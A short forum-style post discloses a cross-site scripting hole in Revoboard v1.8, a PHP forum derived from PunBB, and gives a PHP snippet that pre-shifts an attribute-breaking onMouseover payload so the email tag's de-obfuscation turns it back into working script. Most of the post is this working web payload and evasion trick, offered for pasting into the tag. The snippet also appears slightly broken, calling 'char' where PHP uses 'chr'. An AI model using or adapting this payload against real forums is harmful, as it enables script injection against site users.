Revoboard (php) is based on an earlier version of PunBB. I know for sure that this affects v1.8. The email tag parser obsfucates emails to stop harvesters. To execute code, do this: [php] $code = ''" onMouseover="javascript:alert(/xss/)">'; for($a=0;$a<strlen($code);$a++){ $c = ord(substr($code,$a,1)); $c += intval(-2); $str .= char($c); } print $str; [/php] And you just paste $str into the tag =). r0xes dynxss.whiteacid.org criticalsecurity.net